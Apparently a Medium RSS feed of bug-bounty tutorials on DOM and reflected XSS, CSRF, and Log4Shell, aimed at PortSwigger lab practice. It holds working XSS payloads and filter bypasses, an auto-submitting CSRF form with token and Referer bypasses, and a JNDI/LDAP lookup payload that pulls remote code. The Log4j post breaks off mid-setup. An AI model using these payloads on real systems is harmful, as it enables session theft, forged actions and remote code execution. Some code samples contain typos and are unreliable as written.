<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hardeep Singh Sandhu on Medium]]></title>
        <description><![CDATA[Stories by Hardeep Singh Sandhu on Medium]]></description>
        <link>https://medium.com/@hardeepsinghsandhu537?source=rss-3692c89b1d0d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*TOxmxwI3iYF-R359.jpg</url>
            <title>Stories by Hardeep Singh Sandhu on Medium</title>
            <link>https://medium.com/@hardeepsinghsandhu537?source=rss-3692c89b1d0d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 12:16:43 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hardeepsinghsandhu537/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[DOM Based XSS]]></title>
            <link>https://medium.com/@hardeepsinghsandhu537/dom-based-xss-35ad8603232c?source=rss-3692c89b1d0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/35ad8603232c</guid>
            <category><![CDATA[hardeepsinghsandhu537]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <category><![CDATA[dom-xss]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Hardeep Singh Sandhu]]></dc:creator>
            <pubDate>Mon, 27 Dec 2021 12:30:35 GMT</pubDate>
            <atom:updated>2021-12-27T12:34:24.600Z</atom:updated>
            <content:encoded><![CDATA[<p>DOM based XSS (cross site scripting) is a client side vulnerability that arises when the javascript takes data from user controllable source and passing that data to sink for execution. Unlike reflected XSS the payload cannot be found in the response it can only be observed on runtime in DOM of the page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*GFnUgYv2ehiVort6xK3wxA.jpeg" /></figure><p><strong>sources :</strong></p><p>A source is a javascript property. For instance “location.search” property which reads query string of the URL :</p><blockquote><em>http://www.example.com?q=example</em></blockquote><blockquote><em>location.search will fetch “?q=example”</em></blockquote><p>In other words we can say any property that can be controlled by an attacker is potentially a source.</p><pre># Common sources:</pre><pre>document.documentURI<br>document.URLUnencoded<br>document.baseURI<br>location<br>document.cookie<br>document.referrer<br>window.name<br>sessionStorage<br>localStorage<br>Database</pre><p><strong>Sinks:</strong></p><p>Any javascript function contributing for processing attacker passed data for output can be called sinks. For example eval() function and document.body.innerHTML.</p><p>eval() — Allow an attacker to execute arbitrary javascript which is passed in eval() function as argument.</p><p>document.body.innerHTML — It allow us to inject malicious HTML and execute javascript.</p><pre># Sinks :</pre><pre>document.Write()<br>document.domain<br>document.Writein()<br>someElement.innerHTML<br>someElement.outerHTML<br>someElement.insertAdjacentHTML<br>someElement.onevent</pre><pre># Execution Related sinks</pre><pre>eval<br>setTimout <br>setInterval<br>execScript<br></pre><pre><br># JQuery sinks :</pre><pre>add()<br>after()<br>attr()<br>append()<br>animate()<br>insertAfter()<br>insertBefore()<br>before()<br>html()<br>---more---</pre><blockquote>You should learn core javascript before going through the blog directly.</blockquote><ol><li>Taking an example of DOM XSS with sink “document.write” and source “location.search” :</li></ol><pre>&lt;script&gt;</pre><pre>function Search(query) {<br>    <strong>document.write</strong>(&#39;&lt;img src=&quot;/resources/images/tracker.gif ?searchTearms=&#39;+query+&#39;&quot;&gt;&#39;);<br>}</pre><pre>var query = (new URLSearchParam(<strong>window.location.search</strong>).get (&#39;search&#39;);</pre><pre>if (query) {<br>    Search(query);<br>}</pre><pre>&lt;/script&gt;</pre><p>Suppose you have got that above code somewhere in source code, not exactly same but with a kind of similarities. So here query parameter taking user input directly from user controllable source by using location.search which a user can access from url.</p><p>Let’s make it more simple, query variable fetch user string from search parameter which a user can control and then passing that query to javascript sink document.write. Its not hard to exploit because sink is using HTML image tag in it and query will go trough the sink directly because there is not input validation or sanitization.</p><pre># payload</pre><pre><a href="https://ac171fee1f44b89080813d13004200c5.web-security-academy.net/?search=hell">https://www.example.com/?search=<strong>hello&quot;&gt;&lt;svg</strong></a><strong> onload=alert`1`&gt;</strong></pre><p>Let’s understand another instance with same source and sink with validation, So Here storeId parame is passing user input to document.write sink in HTML select tag (bold in below code). You don’t need to go for rest of the code for exploitation, only if your payload is not working even after analyzation.</p><pre>&lt;script&gt;</pre><pre>var stores= [&quot;Shicago&quot;,&quot;Sanfransico&quot;,&quot;Newyork&quot;];<br>var store = (new URLSearchParams(<strong>window.location.search</strong>)).get (&#39;storeId&#39;);</pre><pre><strong>document.write(&#39;&lt;select name=&quot;storeId&quot;&gt;&#39;);</strong><br>if(store) {<br>    document.write(&#39;&lt;option selected&gt;&#39;+store+&#39;&lt;/option&gt;&#39;);<br>}</pre><pre>for(var i=0;i&lt;stores.length;i++) {<br>    if(stores[i] === store) {<br>         continue;<br>      }<br>     document.write(&#39;&lt;option&gt;&#39;+stores[i]+&#39;&lt;/option&gt;&#39;);<br>}<br>    </pre><pre>document.write(&#39;&lt;/select&gt;&#39;);</pre><pre>&lt;/script&gt;</pre><p>You just need to close the existing select tag otherwise our payload will not get executed because select will include user input in it as options and You should read whole code because there is some validation in code and even it is checking user input datatype, if you won’t close HTML select tag then your payload will get executed.</p><pre># payload</pre><pre>https://www.example.com?search=name&amp;storeId=<strong>&lt;/select&gt;&lt;img src=1 onerror=alert(1)&gt;</strong></pre><p>2. In this example of DOM XSS, we’ll use inner.HTML sink and location.search source in javascript.</p><pre>&lt;h1&gt;&lt;span&gt;0 search results for &#39;&lt;/span&gt;&lt;span id=&quot;searchMessage&quot;&gt;&lt;/span&gt;&lt;span&gt;&#39;&lt;/span&gt;&lt;/h1&gt;</pre><pre><br>&lt;script&gt;</pre><pre>function doSearchQuery(query) {                              document.getElementById(&#39;searchMessage&#39;).innerHTML = query;<br>}</pre><pre>var query = (new URLSearchParams(window.location.search)).get (&#39;search&#39;);</pre><pre>if(query) {<br>   doSearchQuery(query);<br>}</pre><pre>&lt;/script&gt;</pre><p>This code is using a sink document.getElementById().<strong>innerHTML, </strong>So basically document.getElementById() is used to fetch id from HTML document which is then used used to write HTML data in that particular id by using <strong>innerHTML. </strong>And there is no validation or sanitization on using html tags etc. So our final payload would be</p><pre># payload</pre><pre>&lt;svg onload=alert(1)&gt;</pre><p>3. If you find javascript libray such as jQuery is being used, look out for sinks that can alter DOM elements on the page. For example attr() function in jQuery, it is used to change attributes value, So it might be possible to manipulate the value and alert XSS popup. Below is instance code of jQuery where its fetching “backlink” id from document and adding or changing the href attribute value from user controllable source by using “Url” paramter.</p><pre>&lt;a id=&quot;backLink&quot;&gt;Back&lt;/a&gt;</pre><pre>$(function(){<br>$(&#39;#backLink&#39;).attr(&quot;href&quot;,(new URLSearchParams(window.location.search)).get(&#39;Url&#39;));<br>});</pre><p>href attribute value get set by url parameter, whenever you click on back button XSS will pop.</p><pre># payload</pre><pre>https://www.example.com/hackcheck?Url=javascript:alert(1)</pre><p>Next instance demonstrate reflected DOM XSS, it occurs when application processes user requested data in an unsafe way and echos in its response.</p><p>Below javascript code is an example for reflected DOM XSS :</p><pre>(function () {</pre><pre>    var xhr = new XMLHttpRequest();<br>    xhr.onreadystatechange = function() {<br>        if (this.readyState == 4 &amp;&amp; this.status == 200) {<br><strong>            eval(&#39;var searchResultsObj = &#39; + this.responseText);</strong><br>            displaySearchResults(searchResultsObj);<br>        }<br>    };</pre><pre>    xhr.open(&quot;GET&quot;, &quot;/search-results&quot; + window.location.search);<br>    xhr.send();</pre><pre><br>    function displaySearchResults(searchResultsObj) {<br>        var blogHeader = document.getElementsByClassName(&quot;blog-header&quot;)[0];<br>        var blogList = document.getElementsByClassName(&quot;blog-list&quot;)[0];<br>        var searchTerm = searchResultsObj.searchTerm<br>        var searchResults = searchResultsObj.results</pre><pre><strong>                        -----snip-----</strong></pre><p>Now, Here AJAX XMLHttpRequest() object is being used in javascript, it is used for fetching data from server and show that data in application response without page reload. it is taking user input from <strong>location.search</strong> source and using <strong>Get</strong> request to fetch response from server and then passing that data to eval() function.</p><pre># payload</pre><pre>&quot;-alert(1)}//</pre><pre># if server escapes double quotes.</pre><pre>\&quot;-alert(1)}//</pre><p>“\” : Bypass double quote escaping.</p><p>“-” : This subtraction operator is used to separate the expression before the alert() function is called.</p><p>“}” &amp; “//” : finally Closing curly bracket and two forward slashes stops processing rest of the code. Double forward slashes is used to comment out lines in javascript.</p><p>Key Points:</p><ol><li>Try DOM payloads in each parameter of url.</li><li>Look for sources and sinks that can you control.</li><li>List of sources and sinks are given in the blog.</li><li>Always read javascript if you are hunting for non-url-based vulnerabilities of DOM.</li></ol><p>Thank You….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=35ad8603232c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reflected XSS — Hardeepsing]]></title>
            <link>https://medium.com/@hardeepsinghsandhu537/reflected-xss-hardeepsing-af647af48186?source=rss-3692c89b1d0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/af647af48186</guid>
            <category><![CDATA[cross-site-scripting]]></category>
            <category><![CDATA[reflected-xss]]></category>
            <category><![CDATA[xss-attack]]></category>
            <category><![CDATA[hardeepsinghsandhu537]]></category>
            <category><![CDATA[xss-vulnerability]]></category>
            <dc:creator><![CDATA[Hardeep Singh Sandhu]]></dc:creator>
            <pubDate>Fri, 24 Dec 2021 10:30:31 GMT</pubDate>
            <atom:updated>2021-12-24T10:30:31.660Z</atom:updated>
            <content:encoded><![CDATA[<h3>Reflected XSS — Hardeepsinghsandhu537</h3><p>Hello, I am going to explain some reflected xss payloads with the contexts of html and javascript.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*MgRnZXQA-MHIpACILtcCig.jpeg" /></figure><h4>$ What is reflected Cross-Site Scripting (XSS) ?</h4><p>Reflected XSS is client-side vulnerability, it arises when the web application receives data from user and include the received data within it’s response in an unsafe way.</p><h4>Let’s start reflected XSS with simple payload:</h4><pre>  &lt;script&gt;alert(1)&lt;/script&gt; — Payload<br></pre><pre>- “&lt;Script&gt;” — Its a HTML tag, any javascript code will be execute   <br>   within this tag.</pre><pre>- “alert” — alert is a javascript function used to load popup</pre><p>This payload can be used when user input gets reflect on the web page or in source code of that web page within html tags and if user is able to put some html tags like “&lt;script&gt;” in the input field then it is possible to exploit XSS.</p><p>Now in real world Exploiting XSS is not simple as that above payload says, It means some web application uses web application firewall (WAF), X-XSS header and httpOnlyFlag to protect against common XSS payload. Sometimes firewall blocks almost all tags and attributes but still it is possible to attack suspected parameter with this steps.</p><ul><li>Intercept suspected request in burp suite and send it to intruder.</li><li>Go to Position tab and click on “clear §” and add “&lt;&gt;” angles brackets in parameter. For example : search=&lt;&gt;</li><li>Put the cursor between the angle brackets and click on “Add §” twice and after that it will look like this: search=&lt;§§&gt;</li><li>Now we are going to brute force HTML tags to find which tag is not being blocked by firewall, So for that portswigger has a list of tags, attributes and payloads.</li></ul><pre>link : <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">https://portswigger.net/web-security/cross-site-scripting/cheat-sheet</a></pre><ul><li>Go to the link and Click on ‘copy tags to clipboard’ and paste them in intruder payload tab.</li><li>Click on “start attack” and after the attack completes, find positive response 200 in result tab. In this instance suppose &lt;body&gt; tag gets 200 response which is not being blocked by firewall.</li><li>Next step is to brute force attributes with the same process again.</li><li>Change the payload position to “search=&lt;body%20§§=1&gt;” and go to XSS cheat sheet link, copy all attributes and paste in intruder payload tab and click on start attack.</li><li>Review the result again and look for 200 response and for example we get the positive response on “onresize” attribute and this attribute can be used to load popup, So the final payload would look like this:</li></ul><pre># This payload is taken from portswigger.</pre><pre>“&gt;&lt;body onresize=alert(hello)&gt;”onload=this.style.width=’100px’&gt;</pre><h4>$ What if you did not get 200 response even after brute forcing tags ?</h4><ul><li>In This situation it is possible to create custom tags like this.</li></ul><pre>https://www.example.com/?search=&lt;xss id=x onfocus=alert(1) tabindex=1&gt;#x</pre><ul><li>In the above payload “&lt;xss&gt;” is custom tag and “id=x” This id element is used to focus on its value by using “#” which is located in the last of payload.</li><li>“onfocus” is event handler. it will perform action when the certain element gets focused.</li><li>“tabindex” attribute specifies the tab order of an element when tab button is used for navigation.</li></ul><h4>$ Reflected XSS when event handler and href attributes blocked .</h4><pre># Payload</pre><pre>&lt;svg&gt;&lt;a&gt;&lt;animate attributeName=href values=javascript:alert(1) /&gt;&lt;text x=20 y=20&gt;Click me&lt;/text&gt;&lt;/a&gt;</pre><ul><li>SVG &lt;animate&gt; element which gives a way to animate an attribute of an element.</li><li>In above payload “click me” contains “href” animated within &lt;a&gt; tag, So that it is easy to call the javascript alert pop up by clicking on ‘click me’.</li></ul><h4>$ XSS in HTML tag attributes</h4><p>Sometimes user might able to terminate attribute value and can introduce new one. For example :</p><pre>&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;</pre><p>In many cases this angle brackets are blocked or encoded, so your input cannot break out the tag. if you are able to terminate attribute value then you can simply introduce new attribute just after the terminated attribute and add an event handler. for example:</p><pre>&quot; autofocus onfocus=alert(1) x=1&quot;</pre><p>The above payload closed value quote and added an event handler which executes javascript when the element receives focus and we’ve added “autofocus” attribute to trigger “onfocus” event automatically without any user interaction and “x=1” to repair the terminated markup. instead you can use some other payloads like</p><pre>&quot;onmouseover=&quot;alert(1)</pre><h4>$ XSS in the context of javascript.</h4><p>Let’s take a simple case, which you might find barely in real world. So you can just simply close the existing tag and introduce new HTML tag which will trigger javascript execution. For example</p><pre>1. &lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;<br>2. &lt;/script&gt;&lt;img src=1 onerror=alert(1)&gt; </pre><p>In some cases your given input will be quoted, still it possible to break out from quotation and execute javascript directly but it is crucial to repair the breaked quotation because any syntax error will prevent whole script execution. For example :</p><pre>1. &#39;-alert(1)-&#39;<br>2. &#39;;alert(1)//</pre><p>But some web application are smart they prevents breaking out of javascript by adding a backslash with quote like this “ \’ ” and it tells to javascript that ‘ it no more terminator or any special character, now its a part of string :p ‘ but some web applications forgot to prevent itself from backslash, it means if attacker put backslash in the payload then a backslash will escape the existing backslash itself. It means we have successfully exploited XSS.</p><p>payload :</p><pre>\&#39;;alert(1)//   -- our payload first backslash encounter with javascript backslash like this \\&#39;;alert(1)//  so our backslash will escape javascript backslash and hence input validation bypassed.</pre><p>In the above payload first backslash will bypass prevention or can say that it will escape second backslash and execute javascript.</p><h4>$ XSS in javascript templetes</h4><p>Javascript templates is used to reflect user input data back to the user. Lets take an example:</p><pre>document.getElementById(&#39;message&#39;).innerText = `Hello, ${user.displayName}.`;</pre><p>This is a welcome script that is reflecting user name back to user with concatenated text “Hello”.</p><p>If my username is “hardeep”, So the above script will print a welcome message for me : “Hello, Hardeep”.</p><p>There is no need of termination. You just need to know the syntax that will be processed by javascript.</p><pre>${Your_code} </pre><p>you can add expression for evaluation but we will add alert function to load popup.</p><pre>${alert(1)}  -- If you put any numbers like 7*7 in curly brackets so javascript template will evaluate that value, it can lead to SSTI.</pre><p>When eventually you load the page, It should trigger an alert.</p><p>You can get a huge list of XSS payloads (cheatsheet) on google but all can not be explained in a single blog. So That’s how reflected XSS works this are some payloads that are taken from portswigger, you can practice XSS in portswigger academy LABS.</p><p>Thank youuu……</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=af647af48186" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cross-Site Request Forgery — CSRF]]></title>
            <link>https://medium.com/@hardeepsinghsandhu537/cross-site-request-forgery-csrf-eb6c6b28fc2a?source=rss-3692c89b1d0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/eb6c6b28fc2a</guid>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[csrf-attack]]></category>
            <dc:creator><![CDATA[Hardeep Singh Sandhu]]></dc:creator>
            <pubDate>Thu, 23 Dec 2021 09:23:31 GMT</pubDate>
            <atom:updated>2021-12-23T09:28:33.969Z</atom:updated>
            <content:encoded><![CDATA[<h3>Cross-Site Request Forgery — CSRF</h3><p><strong>What is Cross-Site Request Forgery ?</strong></p><p>Cross site request forgery ( CSRF ) is type of vulnerability that tricks the user to perform unwanted actions on victims behalf that they are not intended to do and it is possible due to browser behavior because browser adds cookie automatically with each request in the authenticated application. Think : If an attacker achieved CSRF in bank application, So then they can target users for funds transfer within just one click.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*yn3-9ecigpcfMA0moO-pQw.png" /></figure><p>An action can be anything that a user can perform such as password change, email change, comment, search etc….</p><blockquote>Note: Targeted Victim must logged in to the vulnerable application to perform intended action without knowledge or consent of victim.</blockquote><p>For example, suppose an vulnerable applications contains a function that lets the user to change their email of his own account. So user will make an http request for email change like this:</p><pre>POST /email/change HTTP/1.1<br>Host: target.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 30<br>Cookie: session=3f3b074907edbba29fb6d6c643644a2e<br> <br><a href="/service/mailto:email=abc@123.com">email=abc@123.com</a></pre><p>This can be exploited because web application not validating the request or there is no server side security mechanism for this kind of requests. So an attacker can construct a html page like below and deliver them to victim by social engineering.</p><pre>&lt;html&gt;<br> &lt;body&gt;<br> &lt;form action=”<a href="https://target.com/email/change">https://target.com/email/change</a>&quot; method=”POST”&gt;<br> &lt;input type=”hidden” name=”email” value=”<a href="/service/mailto:abc@123.com">abc@123.com</a>” /&gt;<br> &lt;/form&gt;<br> &lt;script&gt;<br> document.forms[0].submit(); <br> &lt;/script&gt;<br> &lt;/body&gt;<br>&lt;/html&gt;</pre><p>If you have burp suite professional then you can use <strong>csrf poc generator, </strong>It’s a builtin option in burp suite and helps hunter to generate html page for csrf attack.</p><p>Steps:</p><ol><li>Intercept vulnerable request</li><li>Right click to open menu</li><li>Select Engagement tools &gt; generate csrf poc.</li></ol><p><strong>How to prevent web application from CSRF attack ? </strong><br>Nowadays web application uses csrf tokens for prevention. This tokens are generally a random string and sometime it may be guessable. Now token would sent along with other parameter and server check that token, if it is valid then action will be done without any interruption otherwise server will generate errors. Double cookie, samesite cookie and JWT, These are the methods that application can use to prevent CSRF attack. Token should be unpredictable and tied to the user session properly and strictly validated in every case before action is executed. So does it mean that no one can hack it ?</p><p>No… Still it may be vulnerable due to weak implementation in application, there are several ways to bypass CSRF token such as :</p><ol><li><strong>Validation on request method : </strong>Some application validates the token with POST method along with action but not in GET method.</li></ol><pre>#Normal Request with POST method</pre><pre>POST /email/change HTTP/1.1<br>Host: target.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 62<br>Cookie: session=3f3b074907edbba29fb6d6c643644a2e<br>             <br>csrf=gh1lLkp9H0paQLmytacNbytBNKlw&amp;email=abc@123.com</pre><pre>#Modified Request from Post to GET</pre><pre>GET /email/change?email=abc@123.com HTTP/1.1<br>Host: target.com<br>Cookie: session=3f3b074907edbba29fb6d6c643644a2e</pre><p>2. <strong>Validation on token being present :</strong> Some application validates the token when it is present and skip the validation if the token gets removed.</p><pre># Request without CSRF token.</pre><pre>POST /email/change HTTP/1.1<br>Host: target.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 62<br>Cookie: session=3f3b074907edbba29fb6d6c643644a2e<br>             <br>email=abc@123.com</pre><p>3. <strong>Accepting Tokens from a pool :</strong> Like some application contains CSRF tokens in a container and validates user request if the token matches from container. There is no specific token for particular user session, It means an attacker can obtain valid CSRF tokens. For this, Intercept the request in burp suite and make a note of each token and drop the request then use that tokens in your second account just to verify if the request is working or not and then feed that token to victim user.</p><p>Above technique is quite easy because the token is going through post body but what if application verifying token from body parameter as well as from cookie header… So this become harder to exploit but still vulnerable.</p><pre>POST /email/change HTTP/1.1<br>Host: target.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 62<br>Cookie: session=3f3b074907edbba29fb6d6c643644a2e;csrf=kLwJo4MsnMsbH8nks7KhszAfw2xVxe2f<br>             <br>csrf=Jka2NJ3kmnO3KLk7kHs04Kls1aSemc5L&amp;email=abc@123.com</pre><p>Here an attacker can use this both tokens value for making request with his second account and if the request works then attacker will need to find a way to set cookie in the victim browser otherwise exploitation is not possible. If any parameter value is reflecting in set cookie header then you can use that parameter in csrf poc to set-cookie in victim browser.</p><p>4. <strong>Token is duplicated in cookie :</strong> Some web application uses same token in cookie and in request parameter, So it is possible that server is not maintaining any server side records for token that have been issued and in this context attacker doesn’t need to obtain valid tokens. An attacker can change a few bits of token in both parameter either they can generate new token. This situation is same as the previous situation, here attacker will need to find to a way to set cookie in victim browser.</p><pre>POST /email/change HTTP/1.1<br>Host: target.com<br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 62<br>Cookie: session=3f3b074907edbba29fb6d6c643644a2e;csrf=kLwJo4MsnMsbH8nks7KhszAfw2xVxe2f<br>             <br>csrf=kLwJo4MsnMsbH8nks7KhszAfw2xVxe2f&amp;email=abc@123.com</pre><p><strong>5. Defending Application Using HTTP Referer Header :</strong> This technique of defending from CSRF attacks is less secure and it can be bypassed easily. Some application uses HTTP Referer Header against CSRF attack and Referer header defines that from which domain the request is originated. If the request is originating from the same domain then the action would be performed otherwise request would be rejected.</p><p>Sometimes application validates the request when the referer header is being present but skip the validation if it is omitted. So In this situation an attacker can simply remove the Referer header from its request and pass that request for being processed. after that attacker need to trick victim in a way that his browser drops the referer header while requesting and it can be done by so many ways like using meta tag.</p><blockquote><em>&lt;meta name=”referrer” content=”never”&gt; — by adding this in normal exploits.</em></blockquote><pre>POST /email/change HTTP/1.1<br>Host: target.com<br><strong>Referer: </strong><a href="https://ac071f751ed19ec880060b5300ca0085.web-security-academy.net/email"><strong>https://target.com/email</strong></a><strong> </strong><br>Content-Type: application/x-www-form-urlencoded<br>Content-Length: 30<br>Cookie: session=3f3b074907edbba29fb6d6c643644a2e<br> <br><a href="/service/mailto:email=abc@123.com">email=abc@123.com</a></pre><p>Now suppose that the application validates the presence of referer header and their domain. So in this situation an attacker can place the vulnerable website domain elsewhere in the URL like :</p><pre>referer: http://<strong>target.com</strong>.my-website.com/abc<br>referer: http://my-website.com/abc?<strong>target.com</strong></pre><p>These are some simple ways to detect and exploit csrf and I have also mentioned csrf mitigation or prevention in this blog. If you are an attacker you can follow this approach to exploit csrf and if you are a secure code developer then you can use these methods to prevent a website from csrf attacks.</p><p>And please let me know if you know any other way to exploit csrf. Above mentioned scenario labs are available on portswigger academy so you can test your skills there.</p><p>Thank You…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb6c6b28fc2a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Log4j 0-day vulnerability (RCE) — Explaination, Dectection, Exploitation.]]></title>
            <link>https://medium.com/@hardeepsinghsandhu537/log4j-0-day-vulnerability-rce-explaination-dectection-exploitation-b9a9c0238267?source=rss-3692c89b1d0d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b9a9c0238267</guid>
            <category><![CDATA[log4j-vulnerability]]></category>
            <category><![CDATA[log4shell]]></category>
            <category><![CDATA[hardeepsinghsandhu537]]></category>
            <category><![CDATA[log4j2]]></category>
            <category><![CDATA[log4j]]></category>
            <dc:creator><![CDATA[Hardeep Singh Sandhu]]></dc:creator>
            <pubDate>Tue, 21 Dec 2021 15:29:14 GMT</pubDate>
            <atom:updated>2021-12-21T15:29:14.554Z</atom:updated>
            <content:encoded><![CDATA[<h3>Log4j 0-day vulnerability (RCE) — Explaination, Dectection, Exploitation.</h3><p>In this blog i am going to cover all the things that will help you to understand about log4j or log4shell vulnerability in detail and I will also explain how to exploit in local environment and Mitigation.</p><h4><strong>What is log4j or log4shell vulnerability ?</strong></h4><p>Log4j is a fast java logging framework java based logging utility or library, It logs users and server activities which is vulnerable to remote code execution by performing JNDI Lookups and it is a critical vulnerability as an attacker can gain full access to the vulnerable server. Many of big the companies were affected with this vulnerability such as Cloudflare, Icloud, Minecraft, Steam, Tencent QQ, and Twitter etc. Millions of application were using log4j library for maintaining logs and Many of them are still vulnerable as they are not aware of log4j critical vulnerability.</p><blockquote><em>Log4j library version 2.0 to 2.14.1 are vulnerable.</em></blockquote><h4><strong>Why logging ?</strong></h4><p>Almost every application needs to log activities of users and server to track activities such as When loggedIn and loggedOut, What were the details example — username and password, User agent and Other headers etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*jUXVZUwAB28c9VBLHRU6ig.png" /><figcaption>Source: apache.org</figcaption></figure><ol><li>Log Formatting.</li><li>Error Tracing and debugging.</li><li>Incident Tracking Like In case of Data Breach.</li><li>Log levels (Info, error, Warn, Debug).</li></ol><h4><strong>Why log4j ?</strong></h4><p>There are so many libraries for logging but if we talk specifically about java, So Java is running on almost 3 billion devices, Most of the people uses java for general purpose programming, Java has other libraries also like util logging and logback but log4j java based logging utility has some special features introduced in log4j 2.0, such as</p><ol><li>New plugin system.</li><li>Support for properties.</li><li>Support for JSON-Based-Configuration.</li><li>Automatic reloading of its configuration.</li></ol><p>But one more feature “lookups” has been added due to which log4j vulnerability has come.</p><h4><strong>What is this new feature lookups and why it is been added ?</strong></h4><p>Lookups provide a way to add values to the log4j configuration at arbitrary places. Log4j contains a lot of configurations, Log4j requires some configurations, There are some log4j property files which contains some configurations like if you want log4j library to know that which java version you are using so you have to add lookup there so it will fetch out java version and will add that in configuration. This can be done by using lookups.</p><p><em>Syntax : ${prefix:name}</em></p><p>Types of lookup :</p><ol><li>Context Map Lookup</li><li>Date Lookup</li><li>Environment Lookup</li><li><strong>JNDI Lookup → </strong>${jndi: — }</li><li>Java Lookup</li></ol><pre>Java Lookup Example :<br>${java:version} // return java version<br>${java:runtime}<br>${java:os}</pre><p>If logs get generated at any arbitrary place then it is possible to perform lookup in logs, It means we can lookup within log specific string. So simply we have lookup variable that can be used to change configurations for date use date lookup and for version use java lookup but that JNDI lookup is vulnerable to log4shell vulnerability. So before going further on JNDI lets first understand about LDAP because we are going to use LDAP in further exploitation. For now just remember that JNDI Interface helps to connects with services like LDAP, DNS, RMS, NDS, NIS.</p><h4>What is LDAP ?</h4><p>The LDAP is open standard application protocol for accessing and maintaining distributed directory information services, in simple information tree metaphor called directory information tree (DIT).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u3D0js9KfBe6mmRcN_m9ZQ.png" /><figcaption>Source: Okta.com</figcaption></figure><p>Just for understanding LDAP is a database structure unlike MySQL and Oracle it uses directory based structure, It provides distributed directory service in which user information can be stored based on some delegation. So you have to create LDAP queries to fetch out the data.</p><p>For deep understanding on LDAP, Reach out to this medium blog :</p><p><a href="https://medium.com/@nisha.narayanan/introduction-to-ldap-f785cdc8e5b8">Introduction to LDAP</a></p><h4>What is JNDI ?</h4><p>Java Naming and Directory Interface provides an API to interact with remote objects registered with the RMI registry or directory services like LDAP. JNDI has a number of service provider interfaces (SPIs) that enable it to use a variety of directory services.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s9ujLoI40OVNZObinqGjCQ.png" /><figcaption>Source: Horizon3.ai</figcaption></figure><p>Lets understand JNDI in deep why it is named java naming and directory interface. <br>So naming word in JNDI refers naming service it is a place where all objects and methods are present which is to be used by application but that methods and objects will be named uniquely by naming service and be called with that name when resources needed.</p><p>And directory service is also a place where objects and methods are stored with unique name but in directory service it assigns an attribute to particular objects and methods to call. If application wants some object or method to be called or lookedup so either it can be called with unique name or from attribute.</p><p>So this was the basic work of JNDI, as we know that LDAP is a database it either stores information or can fetch out. LDAP supports such Queries that require an interface to fetch some data out, So JNDI provides us an interface and let us connect with LDAP and RMI like services.</p><p>If you want to lookup on LDAP server and fetch some data from there so the JNDI is the interface in between your java application and LDAP server that provides communication.</p><h4>What is the vulnerability ?</h4><p>As the diagram shows that we have vulnerable server which is using vulnerable version of log4j library with this issue. If a user input gets logged by application so in that log string we will inject something that will do lookup. So we will use JNDI lookup that will go to the remote or local LDAP server or RMI server based upon the service which is mentioned in the query or payload as of now we are taking LDAP as an example, So vulnerability occurs when the server does not checks weather the request is being made for internal or external server and after that server will try to fetch objects or classes from that LDAP server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QNtYzuaX5UN8vKRJJi5NPQ.jpeg" /><figcaption>Source: checkpoint.com</figcaption></figure><p>Most of the application logs user agent, As an attacker if we put our payload in user agent ${jndi:ldap://server_Address} and if user agent gets logged then it will perform a lookup and will try to change configuration by fetching out java classes and objects from LDAP server. And if your LDAP server is not configured or there is no exploit deployed on LDAP server then at least DNS Lookup will happen you can use canary token or burp collaborator for that.</p><p>After that LDAP server which is owned by attacker will send java serialized class to the vulnerable server and vulnerable server receives that serialized data and De-serialize that data into the class again and server will execute whatever java class contains even if it contains reverse shell payload or shell commands.</p><h4>Setting Up Log4j Vulnerable Server</h4><p>Now we are going to setup vulnerable environment for log4j, To do so download docker in your linux based system and run following command.</p><pre>docker run -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app</pre><p>This command will download a docker image of vulnerable server and runs it in docker container. Make a note of docker interface IP because our vulnerable server is running on docker container.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WA2cgJa5KGLksrtjbGYrQg.png" /></figure><p>As we can see in the above image that there is two parts, one is having docker container on 